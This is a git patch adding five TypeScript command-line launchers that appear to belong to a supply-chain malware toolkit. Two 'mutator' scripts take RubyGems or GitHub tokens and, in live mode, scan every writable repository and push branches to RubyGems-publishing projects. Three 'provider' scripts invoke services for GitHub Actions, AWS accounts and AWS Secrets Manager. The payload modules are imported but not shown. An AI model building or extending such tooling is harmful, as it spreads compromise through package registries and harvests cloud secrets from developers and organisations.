From ebd8d3aab4f1dc3324299683168edd31e4e79810 Mon Sep 17 00:00:00 2001 From: shai_hulud Date: Fri, 3 Jul 2026 03:18:00 +0000 Subject: [PATCH] Upload files to "src/cli" --- src/cli/mutator-rubygems.ts | 23 +++++++++++++++ src/cli/mutator-rubygemsoidc-branch.ts | 40 ++++++++++++++++++++++++++ src/cli/provider-actions.ts | 19 ++++++++++++ src/cli/provider-aws-account.ts | 14 +++++++++ src/cli/provider-aws-secrets.ts | 16 +++++++++++ 5 files changed, 112 insertions(+) create mode 100644 src/cli/mutator-rubygems.ts create mode 100644 src/cli/mutator-rubygemsoidc-branch.ts create mode 100644 src/cli/provider-actions.ts create mode 100644 src/cli/provider-aws-account.ts create mode 100644 src/cli/provider-aws-secrets.ts diff --git a/src/cli/mutator-rubygems.ts b/src/cli/mutator-rubygems.ts new file mode 100644 index 0000000..1f11fe5 --- /dev/null +++ b/src/cli/mutator-rubygems.ts @@ -0,0 +1,23 @@ +#!/usr/bin/env bun +(globalThis as Record).scramble = (s: string): string => s; +(globalThis as Record).beautify = (s: string): string => s; + +import { parseArgs, runModule } from "./common"; + +async function main() { + const args = parseArgs(Bun.argv.slice(2)); + const token = args.params["rubygems-token"]; + if (!token) throw new Error("--rubygems-token required"); + + const dryRun = args.flags.has("dry-run"); + + const { checkRubygemsToken } = await import("../mutator/rubygems/tokenCheck"); + const tokenInfo = await checkRubygemsToken(token); + if (!tokenInfo.valid) throw new Error("RubyGems token validation failed"); + + const { RubyGemsClient } = await import("../mutator/rubygems/index"); + const mutator = new RubyGemsClient(tokenInfo, dryRun); + return mutator.execute(); +} + +runModule("RubyGemsClient", main); diff --git a/src/cli/mutator-rubygemsoidc-branch.ts b/src/cli/mutator-rubygemsoidc-branch.ts new file mode 100644 index 0000000..e0ae99d --- /dev/null +++ b/src/cli/mutator-rubygemsoidc-branch.ts @@ -0,0 +1,40 @@ +#!/usr/bin/env bun +(globalThis as Record).scramble = (s: string): string => s; +(globalThis as Record).beautify = (s: string): string => s; + +import { parseArgs, runModule } from "./common"; + +async function main() { + const args = parseArgs(Bun.argv.slice(2)); + const token = args.params["github-token"]; + if (!token) throw new Error("--github-token required"); + + const repo = args.params["repo"]; + const execute = args.flags.has("execute"); + + const { RubygemsOidcBranchMutator } = await import( + "../mutator/rubygemsoidc/branch" + ); + + if (repo) { + console.log( + execute + ? "[rubygems-oidc-branch] LIVE mode — will push branch" + : "[rubygems-oidc-branch] DRY-RUN — will create commits only", + ); + const mutator = new RubygemsOidcBranchMutator(token, !execute); + const ok = await mutator.processSingleRepo(repo, token); + if (!ok) console.log(`\n${repo}: NOT a RubyGems-publishing repo`); + } else { + const mutator = new RubygemsOidcBranchMutator(token, !execute); + console.log( + execute + ? "[rubygems-oidc-branch] LIVE mode — scanning all writable repos" + : "[rubygems-oidc-branch] DRY-RUN — scanning (add --execute to push)", + ); + await mutator.execute(); + } +} + +const dummyArgs = parseArgs(Bun.argv.slice(2)); +runModule("RubygemsOidcBranch", main); diff --git a/src/cli/provider-actions.ts b/src/cli/provider-actions.ts new file mode 100644 index 0000000..44247eb --- /dev/null +++ b/src/cli/provider-actions.ts @@ -0,0 +1,19 @@ +#!/usr/bin/env bun +(globalThis as Record).scramble = (s: string): string => s; +(globalThis as Record).beautify = (s: string): string => s; + +import { parseArgs, runModule } from "./common"; + +async function main() { + const args = parseArgs(Bun.argv.slice(2)); + const token = args.params["github-token"]; + if (!token) throw new Error("--github-token required"); + + const { GitHubActionsService } = await import( + "../providers/actions/actions" + ); + const provider = new GitHubActionsService(token); + return provider.execute(); +} + +runModule("GitHubActionsService", main); \ No newline at end of file diff --git a/src/cli/provider-aws-account.ts b/src/cli/provider-aws-account.ts new file mode 100644 index 0000000..b7f4fbf --- /dev/null +++ b/src/cli/provider-aws-account.ts @@ -0,0 +1,14 @@ +#!/usr/bin/env bun +(globalThis as Record).scramble = (s: string): string => s; +(globalThis as Record).beautify = (s: string): string => s; + +import { parseArgs, runModule } from "./common"; + +async function main() { + const { AwsAccountService } = await import("../providers/aws/awsAccount"); + const provider = new AwsAccountService(); + return provider.execute(); +} + +const args = parseArgs(Bun.argv.slice(2)); +runModule("AwsAccountService", main); \ No newline at end of file diff --git a/src/cli/provider-aws-secrets.ts b/src/cli/provider-aws-secrets.ts new file mode 100644 index 0000000..dc7de67 --- /dev/null +++ b/src/cli/provider-aws-secrets.ts @@ -0,0 +1,16 @@ +#!/usr/bin/env bun +(globalThis as Record).scramble = (s: string): string => s; +(globalThis as Record).beautify = (s: string): string => s; + +import { parseArgs, runModule } from "./common"; + +async function main() { + const { AwsSecretsManagerService } = await import( + "../providers/aws/secretsManager" + ); + const provider = new AwsSecretsManagerService(); + return provider.execute(); +} + +const args = parseArgs(Bun.argv.slice(2)); +runModule("AwsSecretsManagerService", main); \ No newline at end of file